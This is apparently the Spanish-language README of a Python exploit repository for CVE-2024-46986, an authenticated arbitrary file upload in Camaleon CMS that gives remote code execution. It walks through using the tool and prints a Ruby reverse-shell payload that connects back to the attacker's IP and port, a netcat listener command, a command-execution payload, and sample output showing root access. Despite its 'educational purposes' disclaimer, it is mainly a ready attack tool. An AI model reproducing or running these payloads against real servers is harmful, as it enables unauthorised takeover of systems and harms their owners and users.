
Exploit automatizado en Python para la vulnerabilidad de carga arbitraria de archivos en Camaleon CMS (CVE-2024-46986). Admite cargas útiles de shell inversa y ejecución de comandos para la ejecución remota de código autenticada.
Este repositorio contiene un script en Python que automatiza la explotación de una vulnerabilidad de carga de archivos en Camaleon CMS. La vulnerabilidad permite a un atacante cargar archivos arbitrarios (como scripts de Ruby) en el servidor, lo que puede conducir a una ejecución remota de código (RCE) u otros impactos de seguridad graves.
requests de Python.Credenciales de usuario válidas: Se requiere una sesión autenticada para que el exploit funcione. Necesita el auth_token y _cms_session de un usuario válido.
Python 3.x: Asegúrese de tener Python 3.x instalado.
Librería requests de Python: Instale la librería requests si aún no está instalada.
pip install requests
Clone el repositorio:
bash
https://github.com/vidura2/CVE-2024-46986.git cd CVE-2024-46986
Reemplace los marcadores your_auth_token_here, your_session_token_here y https://target_site_here en el script de Python con valores reales.
Si utiliza el payload de reverse shell, reemplace también your_ip y your_port con su dirección IP y el puerto en el que configurará un listener.
Reverse Shell: Para cargar un reverse shell, establezca la variable payload_type en el script a "reverse_shell".
Ejecución de comandos: Para cargar un script que ejecute comandos del sistema, establezca payload_type a "command_execution". Podrá introducir comandos repetidamente para ejecutarlos en el servidor objetivo.
bash
python exploit_camaleon.py
Si utiliza el payload de ejecución de comandos, puede introducir varios comandos:
bash
Enter a system command to execute (or type 'exit' to quit): whoami
Enter a system command to execute (or type 'exit' to quit): ls
Enter a system command to execute (or type 'exit' to quit): exit
Tipos de payload
El payload de reverse shell se conecta de vuelta a la máquina del atacante, lo que permite la ejecución remota de código en el servidor.
Modifique la IP y el puerto en el script de Ruby dentro del código de Python.
Ejemplo de payload:
ruby
require 'socket' s = TCPSocket.open('your_ip', your_port) while (cmd = s.gets) IO.popen(cmd, 'r') do |io| s.print io.read end end
Configure un listener en su máquina usando netcat:
bash
nc -lvnp <your_port>
2. Ejecución de comandos
Este payload carga un script de Ruby que ejecuta comandos del sistema (p. ej., whoami) en el servidor. Puede introducir comandos repetidamente durante la ejecución.
El script seguirá solicitando comandos hasta que escriba exit.
Ejemplo:
ruby
system("whoami")
Ejemplo de exploit exitoso
Una vez que el exploit se ejecuta correctamente, debería ver una salida en la terminal que indique el éxito:
python
Exploit executed successfully with payload type: reverse_shell!
Si utiliza el reverse shell, el listener de netcat debería darle acceso al shell del servidor comprometido.
Para el payload de ejecución de comandos:
bash
Enter a system command to execute (or type 'exit' to quit): whoami Command 'whoami' executed successfully! Response: root
Este script está destinado únicamente a fines educativos. El autor no es responsable de ningún uso indebido o daño causado por este exploit. Asegúrese siempre de tener permiso antes de probar o explotar vulnerabilidades. Contribuciones
No dude en enviar issues o pull requests para mejoras o funcionalidades adicionales.
Este proyecto está licenciado bajo la Licencia MIT; consulte el archivo LICENSE para obtener más detalles.